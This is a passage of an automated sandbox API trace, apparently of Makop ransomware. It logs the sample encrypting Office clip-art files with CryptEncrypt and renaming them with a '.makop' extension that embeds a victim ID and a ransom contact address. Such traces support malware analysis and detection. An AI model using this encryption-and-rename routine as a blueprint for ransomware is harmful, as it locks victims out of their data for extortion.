dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.659] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.659] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x305c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x305c, lpOverlapped=0x0) returned 1 [0119.660] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3060, dwBufLen=0x3060 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3060) returned 1 [0119.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.661] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3060, lpOverlapped=0x0) returned 1 [0119.661] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.661] SetEndOfFile (hFile=0xf0) returned 1 [0119.668] GetProcessHeap () returned 0x48a0000 [0119.668] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.668] GetProcessHeap () returned 0x48a0000 [0119.669] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.669] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.669] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.670] CloseHandle (hObject=0xf0) returned 1 [0119.670] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105376.WMF", cAlternateFileName="")) returned 1 [0119.670] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0119.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.671] GetProcessHeap () returned 0x48a0000 [0119.671] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.671] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.671] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.671] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.675] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.675] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.676] GetProcessHeap () returned 0x48a0000 [0119.676] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.676] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.676] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.676] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.676] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.676] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.676] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.677] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.677] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.677] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.677] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1364, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1364, lpOverlapped=0x0) returned 1 [0119.679] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1370, dwBufLen=0x1370 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1370) returned 1 [0119.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.679] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1370, lpOverlapped=0x0) returned 1 [0119.679] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.679] SetEndOfFile (hFile=0xf0) returned 1 [0119.687] GetProcessHeap () returned 0x48a0000 [0119.687] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.687] GetProcessHeap () returned 0x48a0000 [0119.687] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.687] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.687] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.688] CloseHandle (hObject=0xf0) returned 1 [0119.689] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105378.WMF", cAlternateFileName="")) returned 1 [0119.689] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0119.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.690] GetProcessHeap () returned 0x48a0000 [0119.690] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.690] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.690] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.690] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.695] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.695] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.695] GetProcessHeap () returned 0x48a0000 [0119.695] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.695] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.695] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.695] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.695] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.695] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.696] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.696] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.696] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.697] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.697] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.697] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1364, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1364, lpOverlapped=0x0) returned 1 [0119.698] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1370, dwBufLen=0x1370 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1370) returned 1 [0119.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.699] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1370, lpOverlapped=0x0) returned 1 [0119.699] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.699] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.699] SetEndOfFile (hFile=0xf0) returned 1 [0119.705] GetProcessHeap () returned 0x48a0000 [0119.705] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.705] GetProcessHeap () returned 0x48a0000 [0119.705] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.705] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.705] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.707] CloseHandle (hObject=0xf0) returned 1 [0119.707] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1210, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105380.WMF", cAlternateFileName="")) returned 1 [0119.707] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0119.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.708] GetProcessHeap () returned 0x48a0000 [0119.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.708] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.708] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.708] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.708] GetProcessHeap () returned 0x48a0000 [0119.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.708] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.708] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.709] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.713] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.713] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.714] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.714] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.714] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.714] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.714] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1210, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1210, lpOverlapped=0x0) returned 1 [0119.716] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1210, dwBufLen=0x1210 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1210) returned 1 [0119.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.716] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1210, lpOverlapped=0x0) returned 1 [0119.716] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x12e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.717] SetEndOfFile (hFile=0xf0) returned 1 [0119.723] GetProcessHeap () returned 0x48a0000 [0119.723] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.723] GetProcessHeap () returned 0x48a0000 [0119.723] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.723] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.725] CloseHandle (hObject=0xf0) returned 1 [0119.725] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105384.WMF", cAlternateFileName="")) returned 1 [0119.725] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0119.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.726] GetProcessHeap () returned 0x48a0000 [0119.726] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.726] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.726] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.726] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.737] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.737] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.737] GetProcessHeap () returned 0x48a0000 [0119.738] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.738] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.738] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.738] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.738] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.738] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.738] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.739] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, 